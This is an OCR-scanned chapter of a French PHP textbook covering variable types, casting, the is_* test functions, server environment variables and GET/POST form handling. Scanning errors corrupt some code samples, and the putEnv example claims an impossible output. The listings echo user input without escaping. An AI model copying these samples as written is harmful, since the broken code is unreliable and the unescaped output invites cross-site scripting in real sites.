echo $$dyn; // Affiche "Je developpe en PHP."; 

?> 

Ainsi, en ecrivant simplement $$dyn on recupere la valeur de la variable dont le nom est 
contenu dans $dyn, e'est-a-dire $var. 

Le recours aux variables dynamiques n'est generalement pas necessaire, car elles peuvent, bien 
souvent, etre avantageusement remplacees par l'utilisation de tableaux, mais qui sait... il est 
possible que cela vous depanne un jour ! 

II est souvent preferable, et parfois indispensable, de mettre le nom des variables entre 
accolades. Cela vous permettra, par exemple, de creer un nom de variable avec une partie 
variable et une partie fixe, comme e'est le cas dans l'exemple suivant : 

<?php 

$prefixe= "PHP"; 
$suffixe= " e'est sympa"; 
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$dyn = "pre"; 

echo ${$dyn}fixe; // Affichera PHP 
$dyn = "suff"; 

echo ${$dyn}fixe; // Affichera c'est sympa 

?> 

Le resultat aurait ete evidemment tout autre si nous avions utilise $dynf ixe. Le probleme est 
identique lorsqu'il s'agit de selectionner un element d'un tableau; $$dyn[0] est ambigu, 
contrairement a $ { $dyn [ o ] } et $ { $dyn} [ o ] . 



Les types 



^ Comme nous avons pu le constater, les variables PHP n'ont pas un type predefini. Pourtant, un 

« developpeur peut etre amene a manipuler les types pour le besoin d'une application et les 

problemes de conversion peuvent non pas causer des erreurs, mais retourner des resultats 

[5 surprenants et genants. Pour eviter cela, le langage PHP possede un jeu de fonctions qui lui 

~Z permet de fixer et de recuperer le type d'une variable donnee. 
1 

co On peut classer les differents types possibles en trois categories : les types scalaires, les types 

composes et les types speciaux. 



Tableau 3.3 : Definitions des quatre types scalaires 



Type 


Description 


Exemple 




int (OU integer) 


Le type int est utilise pour contenir 
des entiers (nombres sans virgule). 
Les valeurs peuvent aller de 
-2147483648 a 2147483647. 


$maVariable = 
$maVariable = 
$maVariable = 


2 ; 
-4; 
2 02; 


double (OU real 
OU float) 


Le type double sert a definir des 
nombres decimaux, c'est-a-dire 
comportant une virgule flottante. 


$maVariable = 
$maVariable = 
$maVariable = 
3 . 1415972 ; 


1.0; 
-0.1 


string 


Le type string definit une chaine 
de caracteres. 


$maVariable = 
php ! " ; 
$maVariable = 


"Vive le 
" 1 " ; 


boolean (OU 
bool) 


Le type booleen definit une variable 
prenant des valeurs de type binaire : 
true (Vrai) ou false (Faux). 


$maVariable = 
$maVariable = 


TRUE ; 
FALSE; 



Notation dans les differentes bases 

^ Le type entier peut prendre des valeurs exprimees en decimales (en base 10), 
REMARQJE hexadecimales (en base 16) et octales (en base 8). Pour indiquer le changement de 
base, le programmeur placera un devant V affectation. 

<?php 

$dec = 16; // Affectation classique en base 10 
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$hex = 0x10; // Le Ox indique 1 'affectation en hexadecimal 

REMARQUE $ oct = 020; // Le simple devant indique 1 'affectation en Octal 

?> 

$dec, $hex et $oct possedent la meme valeur mais exprimee dans une base 
differente. 

II est a noter qu 'il n 'est pas possible d 'exprimer un nombre directement dans sa forme 
binaire. 



Tableau 3.4 : Les deux types composes 



Type 


Description 


Exempie 


array 


Designe un type tableau (ensemble de 


$monTableau = array (2, 




valeurs). 


"Super, du PHP ! " , 




Voir la sectionTab/eaux. 


" cle "=> "valeur " ) ; 






$monTableau [2 ] = "Top"; 


obj ect 


Designe un type objet (variable 
possedant ses propres proprietes, 
attributs et methodes). 
Voir la section Classes. 


class MaClasse 

{ 

} 

$monOb j et = new 



MaClasse ( ) 



Tableau 3.5 : Les deux types speciaux supportes 



Type 


Description 


resource 


Represente une reference (ex. : identifiant de connexion a une base de donnees 
ou toute autre source). 


NULL 


La variable de type null represente une variable ne possedant pas de valeur. 



Rencontre avec le 9 e type 

~ Dans les descriptions des fonctions, nous utiliserons egalement, en lieu et place de 
REMARQJE certains types, d'autres termes qui ne correspondent pas veritablement a des types. 
Ainsi : 

■ mixed designera les parametres (ou valeurs retour) pouvant etre de differents types. 

function designera des noms de fonctions (en fait, des types string mais avec une 
significa tion particuliere ) . 

numeric designera des parametres (ou valeurs retour) de type int ou double, 
void designera les fonctions sans parametre ou sans valeur retour. 
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Bien que le type des variables soit defini a leur initialisation, il est quand meme possible de 
forcer une variable dans un type donne. Pour cela, nous utilisons la fonction setType ( ) . 



settypeO 

Affecte un type a une variable. 

Syntaxe boolean setType (mixed $variable, string $type) 

$vari abl e Variable dont on veut fixer le type. 

$type Chaine de caracteres precisant le type que Ton veut affecter a la variable. 

Ce peut etre au choix : 
integer pour un type entier. 
double pour un type reel, 
string pour une chaine de caracteres. 
array pour un tableau. 

retour TRUE en cas de succes ou FALSE (ex. : nom de type invalide). 

Pour recuperer le type vous utiliserez la fonction gettype ( ) . 



gettypeO 

Retourne le type de la variable. 

Syntaxe string getType (mixed $variable) 

$vari abl e Variable dont on veut determiner le type. 

retour Les differentes valeurs retournees possibles sont : 

integer pour un type entier. 
double pour un type reel, 
string pour une chaine de caracteres. 
array pour un tableau, 
ob j ect pour un objet. 

resource pour une ressource (un pointeur sur ...). 
user function pour une fonction creee par l'utilisateur. 
unknown type pour un type indetermine. 

Le code ci-dessous est un bon exemple de cette utilisation : 
<?php 

setType($toto, "integer"); 

// La variable est du type entier 

echo getType ($toto) ; 
// Renvoi e "integer" 
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$i = 2+2; 

echo getType ($i); 
// Renvoi e "integer" 

$i = "J'aime le chiffre ".$i; // Concatenation d'une chaTne avec un entier 
echo getType ($i); 
// Renvoie "string" 

?> 



Le transtypage 

Pour remedier aux problemes que vous pouvez rencontrer dans vos manipulations de 
conversion, le developpeur a la possibilite d'utiliser le transtypage (ou type casting). Sous ce 
terme un peu barbare, se cache la possibilite de creer une nouvelle variable contenant la valeur 
d'une autre avec un type different mais compatible. Ainsi, le transtypage permet a un 
programmeur de modifier le type de ses variables pendant l'execution de son programme, que 
ce soit pour faire un test d'egalite ou des operations entre deux variables de type different. 

Le transtypage s'utilise, comme pour le langage C, en ecrivant le type entre parentheses devant 
le nom de la variable, comme indique dans l'exemple ci-dessous : 

<?php 

$monEntier = 10; 

// $monEntier est un "integer" 

$maChaine = (string)$monEntier; 

// $maChaine est une chaine de caracteres 

?> 

Les differentes conversions possibles sont done : 

■ (array) pour convertir en type tableau. 

■ (boolean) ou (bool) pour convertir en type booleen. 

(double), (float) ou (real) pour convertir en type reel (decimal), 
(int) ou (integer) pour convertir en type entier. 
(object) pour convertir en type objet. 

■ (string) pour convertir en type chaine de caracteres. 

Dans l'exemple suivant, nous montrons comment, depuis la conversion en tableau ou en objet, 
un programmeur peut recuperer les donnees : 

<?php 

$maVariable = "Super, encore du PHP !"; 
$tableau = (array)$maVariable; 
echo $tableau[0] ; 

// renvoie "Super, encore du PHP !" 

$objet = (object)$maVariable; 
echo $objet->scal ar; 
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// renvoie "Super, encore du PHP !" 

?> 

Notez que la conversion d'une variable de type scalaire (int, double ou string) dans le type 
objet creera un attribut nomme scalar et contenant la valeur de la variable. 

Les references 

PHP permet de creer une reference a une variable existante. De la meme maniere qu'avec le 
langage C, vous pouvez acceder directement a une zone memoire contenant une variable. La 
reference a une variable permet de creer une nouvelle variable qui utilise la meme zone 
memoire que la variable d'origine. 

Pour cela, vous devez l'indiquer a l'aide du caractere '&' devant le nom de la variable, comme le 
montre l'exemple suivant : 

<?php 

$varl = "Bonjour"; 
$var2 = &$varl; 

// $varl et $var2 sont deux memes noms pour une meme variable 

$var2 = "Au revoir"; 

echo $varl; 

// Affiche Au revoir 

?> 

Tester une variable 

Dans vos manipulations des donnees, vous pouvez etre amene a tester l'existence ou le type des 
variables que vous utilisez. Pour cela, on utilise un jeu de fonctions tres utile. 

isSet() 

Determine si une variable existe (a ete initialisee). 

Syntaxe boolean isSet (mixed $variable) 

$ v a r i a b 1 e Variable que Ton veut tester. 

retour TRUE si la variable existe bien et FALSE sinon. 



unset () 

Detruit les variables. 
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Syntaxe void unset(mixed $variablel [, mixed $variable2 [, ...]]) 

$variablel, ... Les variables a detruire. 

<?php 

echo isSet($toto) ; // Renvoie FALSE (ce qui n'affiche rien) 
$toto = ""; 

echo isSet($toto) ; // Renvoie TRUE (ce qui affiche 1) 
unset ($toto) ; 

echo isSet($toto) ; // Renvoie FALSE (ce qui n'affiche rien) 

?> 

De la meme maniere, la fonction empty ( ) determine si une variable possede une valeur non 
nulle ou non. 



emptyO 

Determine si une variable possede une valeur non nulle ou non. 

Syntaxe boolean empty (mixed $variable) 

$vari abl e Variable que l'on veut tester. 

retour TRUE si la variable n'existe pas, est une chaine vide ( ' ' ) ou vaut 0, NULL, 

FALSE sinon. 

<?php 

echo 1 <html ><body> 1 ; 

// affectation des variables 

$varl = 0; $var2 = 1; $var3 =""; $var4 ="Bonjour !"; 

// empty ($varl) renvoie TRUE 

if (empty($varl)) echo '$varl est "vide"<br>'; 

else echo '$varl = 1 .$varl. '<br>' ; 

// empty($var2) renvoie FALSE 

if (empty($var2)) echo '$var2 est "vide"<br>'; 

else echo '$var2 = 1 .$var2. '<br>' ; 

// empty($var3) renvoie TRUE 

if (empty ($var3) ) echo '$var3 est "vide"<br>'; 

else echo '$var3 = 1 .$var3. '<br>' ; 

// empty($var4) renvoie FALSE 

if (empty($var4)) echo '$var4 est "vide"<br>'; 

else echo '$var4 = 1 .$var4. '<br>' ; 

echo 1 </bodyx/html > 1 ; 
?> 
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Netscape 6 



Fichier Edition Afficher Rechercher ANer a Signets 



^httpyAwM'.ka? 



Svarl est "vide" 
$var2 = 1 
$var3 est "vide" 
Ronjour ! 



Figure 3.3 : 

Le resultat dans un navigateur 



Pour detruire une variable, utilisez la fonction unset ( ) . 

Afin de tester le type des variables, PHP possede une serie de fonctions tres commodes : 

is_bool(), is_int(), is_double(), is_numeric ( ) , is_string(), is_array(), 
is_scalar ( ) , is_obj ect { ) , is_resource ( ) , is_NULL ( ) . 

Toutes ces fonctions s'utilisent de la meme maniere. Elles renvoient true si le type de la 
variable passee en parametre est exactement le type recherche, et false dans le cas contraire. 



is_bool() 

Determine si une variable est de type booleen. 

Syntaxe boolean is_bool (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type booleen. 

retour TRUE si la variable est de type booleen, FALSE sinon. 

<?php 
$var = 1; 

echo i s_bool ($var) ; 

// Ne renvoie rien, le resultat du test est faux 

$var = TRUE; 

echo i s_bool ($var) ; 

// Renvoie 1, le resultat du test est vrai 

?> 



is_int() 

Determine si une variable est de type entier. 

Syntaxe boolean is_int (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type entier. 

retour TRUE si la variable est de type entier, FALSE sinon. 
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is_int { ) est en fait un alias de is_iong ( ) dont is_integer ( ) est un autre alias. 
<?php 

$var = "15"; 

echo is_int($var) ; 

// Ne renvoie rien, le resultat du test est faux 



$var = 15; 

echo is_int($var) ; 

// Renvoie 1, le resultat du test est vrai 
?> 
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ia 

01 

Determine si une variable est de type reel (decimal). ro 

-a 

Syntaxe boolean is_double (mixed $variable) -o 

$vari abl e Variable dont on veut determiner si elle est de type reel, 

retour TRUE si la variable est de type reel, FALSE sinon. 

is_f loat ( ) et is_real ( ) sont des alias de la fonction is_double ( ) . 

<?php 
$var = 15; 

echo i s_doubl e($var) ; 

// Ne renvoie rien, le resultat du test est faux 

$var = 15.0; 

echo i s_doubl e($var) ; 

// Renvoie 1, le resultat du test est vrai 
?> 



is_numeric() 

Determine si une variable est un nombre ou une chaine de caracteres representant un nombre. 
Syntaxe boolean is_numeric (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type nombre ou chaine de 

caracteres representant un nombre. 

retour TRUE si la variable est de type nombre ou chaine de caracteres 

representant un nombre, FALSE sinon. 

<?php 

$varl = "quinze"; 

echo is_numeric($varl) ; 
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// Ne renvoi e rien, le resultat du test est faux 
$var2 = 15; 

echo is_numeric($var2) ; 

// Renvoie 1, le resultat du test est vrai 

$var3 = "15"; 

echo is_numeric($var3) ; 

// Renvoie 1, le resultat du test est vrai 

$var4 = 15.0; 

echo is_numeric($var4) ; 
^ II Renvoie 1, le resultat du test est vrai 

= ?> 
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Determine si une variable est de type chaine de caracteres. 
Syntaxe boolean is_string( mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type chaine de caracteres. 

retour TRUE si la variable est de type chaine de caracteres, FALSE sinon. 

<?php 

$var = "15"; 

echo is_string($var) ; 

// Renvoie 1, le resultat du test est vrai 
$var = 15; 

echo is_string($var) ; 

// Ne renvoie rien, le resultat du test est faux 

?> 



is_array() 

Determine si une variable est de type tableau. 

Syntaxe boolean is_array (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type tableau. 

retour TRUE si la variable est de type tableau, FALSE sinon. 

<?php 

$varl = 15; 

echo i s_array ($varl) ; 

// Ne renvoie rien, le resultat du test est faux 
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$var2 = array(15); 
echo i s_array ($var2) ; 

// Renvoie 1, le resultat du test est vrai 
?> 



is_object() 

Determine si une variable est de type objet. 

Syntaxe boolean is_object (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type objet. 

retour TRUE si la variable est de type objet, FALSE sinon. 

<?php 

class Bible { 

var $x; 

} 

$var = new Bible() ; 

$var->x = "Je suis un attribut"; 

echo is_object($var) ; 

// Renvoie 1, le resultat du test est vrai 
echo is_object($var->x) ; 

// Ne renvoie rien, le resultat du test est faux 
?> 



is_scalar() 

Determine si une variable est de type scalaire. 

Syntaxe boolean is_scalar (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type scalaire. 

retour TRUE si la variable est de type scalaire, FALSE sinon. 

<?php 

$varl[0] = 3.14; 
$var2 = 3.14; 
$var3 = "pi"; 

echo i s_scal ar($varl) ; 

// Ne renvoie rien, le resultat du test est faux 
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echo i s_scal ar($varl [0] ) ; 

// Renvoie 1, le resultat du test est vrai 

echo is_scalar ($var2) ; 

// Renvoie 1, le resultat du test est vrai 

echo is_scalar ($var3) ; 

// Renvoie 1, le resultat du test est vrai 

?> 



is_resource() 



Determine si une variable est de type resource. 

Syntaxe boolean is_resource (mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est de type resource. 

retour TRUE si la variable est de type resource, FALSE sinon. 



is_NULL() 

Indique si une variable est NULL. 

Syntaxe: boolean is_NULL(mixed $variable) 

$vari abl e Variable dont on veut determiner si elle est NULL. 

retour TRUE si la variable est NULL, FALSE sinon. 

<?php 
$var = 0; 

echo is_NULL($var) ; 

// Ne renvoie rien, le resultat du test est faux 

unset ($var) ; 

echo is_NULL($var) ; 

// Renvoie 1, le resultat du test est vrai 

?> 



Les variables externes 

Nous pouvons differencier deux types de variables externes : 

■ Les variables d'environnement (du serveur) ; 

Les variables passees en parametre lors de l'appel de la page (soit via un formulaire soit via 
l'URL). 
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Les variables d'environnement 

Les variables d'environnement sont des variables generees automatiquement par PHP a partir 
des donnees recuperees sur le serveur ou de l'en-tete des requetes du client. 



> Voir le chapitre "Les en-tetes" pour plus de details sur les en-tetes. 
RENVOI 

Ces variables constituent en fait deux tableaux de portee globale (accessibles depuis n'importe 
quel endroit du script) : 

$_env contient les "veritables" variables d'environnement du serveur, c'est-a-dire toutes les 
variables dont a pu heriter le compte sous lequel tourne le serveur web (ex. : PATH). 

$_server contient, quant a lui, les variables "internes" du serveur (nom et version du 
serveur, adresse IP, etc.) ainsi que celles recuperees du client (adresse IP du client, type du 
navigateur, etc.). 

Vous pouvez simplement visualiser toutes les variables d'environnement sur la page generee 
par la fonction phpinf o ( ) . 

Une autre possibility pour recuperer la liste des variables est d'utiliser la fonction 
get_def ined_vars ( ) ; elle permet de recuperer dans un tableau la liste de toutes les variables 
definies. Le tableau retourne contient alors toutes les variables d'environnement, mais aussi 
toutes les variables definies par l'utilisateur. 
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get_defined_vars() 

Liste toutes les variables definies. 

Syntaxe array get_defined_vars(void) 

re tour Toutes les variables dans un tableau associatif ou les noms des cles sont les 

noms des variables et les valeurs celles des variables. 

L'exemple ci-dessous permet de generer un tableau HTML contenant la liste des variables et 
leurs valeurs au moment de l'execution du code : 

<html> 
<body> 
<?php 

$al = "premiere variable"; 
$a2 = "seconde variable"; 

echo "<table border=l>"; 
$a = get_defined_vars() ; 
while (list($key, $val) = each($a)) { 
echo "<tr>"; 



131 



Chapitre 3 Le langage PHP 



echo "<td>\$" .$key . "</tdxtd>" .$val . "</td>" ; 
echo "</tr>"; 
} 

echo "</table>"; 

?> 

</body> 
</html> 
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Figure 3.4 : 

Ce code retourne un 
tableau contenant 
noms des variables et 
valeurs 



Le tableau $_env ne presente generalement pas un grand interet hormis dans quelques cas 
particuliers. 

Vous pouvez aussi recuperer les valeurs a l'aide de la fonction getEnv ( ) . 



getEnv() 

Retourne la valeur d'une variable d'environnement. 

Syntaxe string getEnv (string $vari abl eEnvi ronnement ) 
$vari abl e 

Envi ronnement Variable d'environnement dont on veut determiner la valeur. 

retour La valeur de la variable d'environnement ou FALSE si il y a une erreur 
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II est tres simple de modifier les variables d'environnement en utilisant la fonction putEnv ( ) . 
Les valeurs ainsi fixees par le developpeur ne durent que le temps de l'execution du script et, 
des la fin de celui-ci, l'environnement par defaut est restaure. 

Mais, comme la modification de certaines valeurs peut entrainer des problemes de 
securite, 1'administrateur du systeme a la possibility d'empecher certaines modifications. C'est 
d'ailleurs, par defaut, le cas de la variable ld_library_path (d'un systeme UNIX/Linux) qui, 
si elle venait a etre modifiee, pourrait eventuellement permettre aux pirates de masquer la 
presence d'une bibliotheque (peut-etre utilisee par le serveur web) au profit d'une autre plus 
malicieuse. Ainsi, la directive saf e_mode_protected_env_vars du fichier de configuration 
php.ini contient une liste de variables d'environnement que le developpeur ne peut modifier. 
De la meme facon, si saf e_mode (mode protege) est active (ce qui n'est pas le cas par defaut), 
seules les variables commengant par les prefixes precises dans saf e_mode_aiiowed_env_vars 
pourront etre modifiees. 

v " Pour plus (['informations sur le fichier php.ini, reportez-vous au chapitre "Prise en 

main". 
RENVOI 




putEnv () 

Fixe une nouvelle valeur a la variable d'environnement. 

Syntaxe void putEnv (string $chai neAffectati on) 

$chai neAffectati on Chaine de caracteres de la forme "<nom de variable>=<valeur>" 

<?php 

$ip = getEnv("REMOTE_ADDR") ; 

// retourne l'adresse IP de 1 ' uti 1 i sateur 

putEnv("N0UV_IP=127. 0.0.1") ; 

// Definit une nouvelle variable d'environnement 

echo getEnv("REMOTE_ADDR") ; 
// Affiche 127.0.0.1 

?> 

Le tableau $_server, quant a lui, va nous permettre de realiser de nombreuses operations. 



Variantes d'un serveur a Vautre 

^ Les variables $_server presentees sont celles disponibles sous Apache. La plupart 
sont egalement disponibles sur les serveurs IIS et iPlanet, mais vous observerez tout de 
meme des differences. 
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Determiner l'adresse IP du client 

L'element $_server[ " remote_addr " ] retourne l'adresse IP du client, ce qui est 
particulierement utile pour ne pas compter l'utilisateur plusieurs fois dans le nombre des 
visiteurs d'un site. 



IP mouvante 

La grande majorite des internautes n'est pas connectee en permanence a I'internet 
REM ARQ JE (meme les utilisateurs de I'ADSL sont generalement contraints de se reconnecter au 
moins une fois par jour). Par consequent, l'adresse IP (attribute par le fournisseur 
d'acces) varie d'un jour sur Vautre. II serait done faux de supposer que deux visites a 
deux jours d'intervalle avec la meme adresse IP corresponde au meme visiteur. Alors 
que si Vintervalle de temps entre les deux visites est bien plus court, I'hypothese est fort 
valable. 



Determiner d'ou vient le client 

II est generalement possible de savoir quel lien a suivi le visiteur pour arriver sur le script en 
cours d'execution. Pour cela, il suffit de lire le contenu de $_server [ "http_referer" ] ; ceci 
retourne alors une URL. 

Determiner le type de navigateur du client 

L'element $_server [ "http_user_agent" ] permet de recuperer la chaine d'identification 
fournie par le navigateur du client. Cela est particulierement utile si vous avez a ecrire des 
scripts generant du code Javascript un peu pointu, car, comme vous le savez peut-etre, le 
Javascript depend fortement du navigateur. II en est de meme de certaines balises HTML. 

La valeur ainsi recuperee necessite toutefois une petite analyse avant de determiner avec 
precision la nature du navigateur, comme le demontre l'echantillon de valeurs possibles 
suivant : 

pour Internet Explorer : 

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) 

Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) 

Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) 

Konqueror : 

Mozilla/5.0 (compatibles; Konqueror/2.2. 1; Linux) 
■ Netscape : 

Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010726 
Netscape6/6.1 

Mozilla/5.0 (Xll; U; Linux i 686 ; en-US; rv:0.9.8) Gecko/20020204 
Opera : 

Mozilla/4.7 [tr] (Xll; I; Linux 2.2.16 i 686) 
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Mozilla/4.0 (compatible; MSIE 5.0; Linux) Opera 6.0 [en] 

Et tout cela se decline pour ainsi dire a l'infini. D'autant que certains visiteurs ne sont pas des 
utilisateurs derriere leur navigateur, mais des aspirateurs de sites (soit pour les moteurs de 
recherche, soit pour un particulier). Meme si cela n'est pas systematique, la plupart precisent 
leur propre identifiant et d'autres offrent meme la possibilite a l'utilisateur de definir sa propre 
chaine d'identification. Voici, done, un nouvel echantillon de valeur rencontree : 

Les aspirateurs de sites et autres "spiders" de moteurs de recherche : 
Googl ebot/2. 1 (+http://www.googl ebot.com/bot.html ) 

Mozilla/3.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html) 
WebCopier v3.0 

<html> 
<body> 

Vous avez l'adresse IP : 

<?php echo $_SERVER["REMOTE_ADDR"] ; ?> 

<br /> 

Vous avez un navigateur qui porte la signature : 
<?php echo $_SERVER["HTTP_USER_AGENT"] ; ?> 

<br /> 
</body> 
</html> 

Determiner la langue du visiteur 

Bien que cette fonctionnalite ne soit pas forcement bien connue, les navigateurs offrent la 
possibilite de determiner ses langues preferees. II est alors possible, lorsque Ton gere un site 
multi-langue, de s'adapter automatiquement en proposant la langue qui repondra au mieux aux 
attentes du visiteur. 

Ce parametre est accessible depuis le serveur via la variable $_server[ "http 
_accept_language " ] qui aura une valeur du genre : 

fr, en;q=0.5 

II s'agit done d'une chaine contenant les codes ISO des langues, separes par des virgules et par 
ordre de preference. La liste se termine par un point-virgule (et Ton trouve ensuite un 
coefficient). 

Determiner le nom du serveur web 

II est possible de determiner le nom du serveur en consultant le contenu de 
$_server [ " server_name " ] , ce qui peut vous permettre de creer un script unique ayant un 
comportement different selon la machine sur lequel il tourne. 

Determiner la racine du serveur web 

Si vous avez a manipuler des noms de fichier, le chemin relatif a la racine du site web ne sera 
peut-etre pas toujours suffisant. Si vous avez besoin du chemin complet depuis la racine du 
disque dur, vous pourrez faire appel a $_server [ " document_root " ] pour recuperer le 
chemin depuis la racine du disque dur vers la racine du serveur web. 
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REMARQUE 



iPlanet, IIS et PWS 

Cette variable n 'est pas disponible sur les serveurs iPlanet, IIS et PWS. 



Determiner le nom du script en cours d'execution 

La variable $_server [ " php_self 11 ] contient le chemin absolu (commence par un /) par 
rapport a la racine du site web et le nom du script en cours d'execution. Cela est 
particulierement interessant lorsqu'il s'agit d'ecrire des scripts qui doivent s'appeler 
eux-memes (ce qui est souvent le cas des scripts generant des formulaires) et que Ton ne 
souhaite pas indiquer "en dur" le nom du script (pour ne pas avoir de soucis dans le cas ou 
celui-ci serait renomme). Cela peut egalement servir pour determiner le chemin. 

La variable $_server [ "SCRipt_filename" ] , quant a elle, donne le chemin absolu par 
rapport a la racine du disque dur. 




Execution ! 

Le script en cours d'execution n'est pas necessairement le script dans lequel est 



ATTENTION ecrite I 'instruction en cours d'execution. Si un script A inclut un script B au niveau 



du script B, $_server[ "php_self" ] et $_server[ "SCRipt_filename" ] 
retourneront le chemin du script A. Pour connaitre le chemin du script B, ilfaudra 

faire appel a la constante file qui donnera le chemin absolu par rapport a la 

racine du disque dur. 



iPlanet, IIS et PWS 

La valeur $_server [ "SCRIPT_filename" ] n'est pas disponible sous iPlanet, IIS 
et PWS ; a la place, vous pouvez utiliser $_server [ " path_translated " ]. 



Meme si nous avons vu ici les principales variables d'environnement, il en existe de nombreuses 



Vous pouvez vous reporter aux annexes de ce livre pour une liste plus complete des 
variables d'environnement. 



Souvenez-vous... 

Avant PHP 4.1.0, les tableaux $_server, $_env s'appelaient 

$HTTP_SERVER_VARS, $HTTP_ENV_VARS, etc. 



Autres... 



autres. 
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Les variables passees en parametre du script (ou via des 
formulaires) 

Comme vous le savez peut-etre deja (en tout cas, vous allez bientot le savoir) il est possible de 
passer des parametres a un script. 

II existe differentes facons de passer ces parametres, mais la plus simple - ou du moins la plus 
parlante - consiste a ajouter les parametres et leurs valeurs a la suite de l'URL apres un point 
d'interrogation '?' chaque couple <nom du parametre>=<valeur> etant separe d'un autre par 
le caractere "et commercial" '&'. On parle alors de passage de parametres par la methode get. 

Ce qui donne une URL du genre : 

http://mondomaine.com/monscript.php7noiri =Frangois&prenom=DUPOND 

Dans ce cas, les differents parametres du script seront disponibles dans un tableau appele 

$_GET. 

Ainsi, si vous appelez le script suivant de la maniere indiquee precedemment, 

Listing 3.2 : get echo.php 

<?php 

echo "Norn =" .$_GET["nom"] . "<br />"; 

echo "Prenom =". $_GET [" prenom"] . "<br />"; 

?> 

vous obtiendrez le resultat suivant : 

Nom = Frangois 
Prenom = DUPOND 

Je pense que vous commencez a entrevoir des possibilites d'applications. Mais vous serez plus 
enthousiasme encore apres avoir vu comment utiliser des formulaires de saisie. 

Rappel sur les formulaires 

Sans faire un descriptif complet des balises HTML, voici un rapide apercu des balises 
generalement utilisees pour creer un formulaire. 

Pour commencer, la definition d'un formulaire se fait entre des balises <form> et </form>. 
La balise <f orm> possede, entre autres, deux attributs importants : 

Un attribut action precisant quel page doit etre chargee lorsque le formulaire sera valide. 

Un attribut method precisant quel mode d'envoi des donnees doit etre utilise. Ce dernier 
peut prendre l'une des deux valeurs suivantes get (que nous venons de voir) ou post (que 
nous n'allons pas tarder a voir). 

La plupart des elements d'un formulaire se construisent avec la balise <input />. 
La balise <input> possede, entre autres, trois attributs importants : 

■ Un attribut type precisant le type de champ de saisie (voir ci-apres). 
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■ Un attribut name precisant le nom du parametre associe a ce champ. 

Un attribut default ou checked (selon les cas) precisant la valeur par defaut. 

L'attribut type peut prendre les valeurs : 

■ text pour preciser un champ de saisie texte. 

radio pour preciser un element d'une liste de selection dans laquelle une seule des options 
peut-etre selectionnee. 

checkbox pour preciser une case a cocher. 
Enfin, vous disposez egalement des balises <select> (associee a <option>) et <textarea>. 

Application 

Voici done un petit exemple d'application : 

Listing 3.3 : form_get.html 

<html> 
<body> 

<form action="get_echo.php" method="get"> 

Veuillez indiquer vos Noms et Prenoms<br /> 

Prenom: <input type="text" name="prenom" /xbr /> 

Nom: <input type="text" name="nom" /xbr /> 

<input type=" submit" /> 

</form> 

</body> 

</html> 

Comme vous pouvez le constater dans la barre d'adresse de votre navigateur, le simple fait de 
valider ce formulaire appelle le script precise dans le champ action (ici, le script get_echo . php 
presente precedemment) en ajoutant a l'URL la liste des parametres et de leurs valeurs, 
comme cela peut se faire avec une methode get redigee manuellement. 



Selection multiple 

Si vous souhaitez utiliser un element de formulaire pouvant retourner une selection 
multiple (typiquement une balise <select> en mode "multiselect" ou encore une 
serie de cases a cocher portant toutes le meme nom ), vous devez alors lui affecter un 
nom de tableau (i.e. un nom suivi de [ ]). La valeur recuperee dans $_get ne sera 
alors pas de type string mais de type array. 

Le fait d'utiliser la methode get peut entrainer des problemes d'ordres divers. Le probleme le 
plus evident est lie a la longueur de l'URL. Plus il y a de parametres a passer et plus l'URL sera 
longue, ce qui pourrait mettre en defaut votre serveur. Un autre probleme, plus subtil (mais 
non des moindres) concerne la securite. En effet, si vous utilisez une methode get pour passer 
des mots de passe (pour une section membre par exemple), ceux-ci apparaitront dans l'URL de 
la page. Outre le fait que le mot de passe devienne visible dans la barre d'adresse du navigateur 
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et dans l'historique, le probleme s'aggrave quand, depuis cette page, vous proposez un lien vers 
un autre site (site d'une tierce personne). En effet, si ce site etablit des statistiques sur ses 
consultations, peut-etre trace-t-il l'mformation $_SERVER["HTTP_REFERER"] qui note d'ou vient 
le visiteur. Dans ce cas, l'administrateur de ce site pourra lire l'URL complete, indiquant 
l'adresse de votre site et un mot de passe generalement accompagne d'un nom d'utilisateur ! 
Bref, il aura en main tous les outils necessaires pour acceder a des informations qui ne lui sont 
pas destinees... 

Pour pallier ces differents problemes, vous avez la possibility d'utiliser la methode post. Dans 
ce cas, les parametres ne sont pas ajoutes a l'URL, mais passes "discretement" dans l'en-tete de 
la requete HTTP envoyee au serveur. 

Dans ce cas, les deux fichiers presentes precedemment deviennent : 



Listing 3.4 : form_post.html 

<html> 
<body> 

<form action="get_echo.php" method="post"> 

Veuillez indiquer vos Noms et Prenoms<br /> 

Prenom: <input type="text" name="prenom" /xbr /> 

Nom: <input type="text" name="nom" /xbr /> 

<input type="submi t" /> 

</form> 

</body> 

</html> 



Listing 3.5 : postecho.php 

<?php 

echo "Nom =" .$_P0ST["nom"] . "<br />"; 

echo "Prenom =". $_POST["prenom"] . "<br />"; 

?> 

Vous noterez done que le travail du developpeur est identique, puisqu'il suffit de remplacer get 
par post. Ainsi, le tableau contenant les donnees s'appelle $_post. 

En dehors de l'utilisation de formulaires, la methode get reste la seule solution facilement 
implementable pour passer des parametres a un script. 
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Souvenez-vous... 

Avant PHP 4.1.0, les tableaux $_get, $_post s'appelaient $http_get_vars, 

$HTTP_POST_VAR 

Avant PHP 4.2.0, le fichier de configuration php.ini fixait par defaut I'option 
register _global d on, ce qui avait pour effet de creer systematiquement une 
variable globale portant le nom des parametres get, post, etc. Ainsi, par exemple, 
$_get [ "nom" ] etait egalement accessible par $nom, ce qui engendrait des 
problemes de securite. Cela est particulierement vrai avec les fichiers destines a etre 
inclus et qui s'appuient sur des variables globales declarees dans le script appelant. 
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~ Car, dans ce cas, une variable $maVari able peut etre "piratee" en appelant le script 
REMARQUE [ nc [ us avec [ e parametre TmaVari abl e=autreVal eur. 



RENVOI 



) Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



II existe egalement d'autres variables d'environnement, mais nous leur consacrerons un 
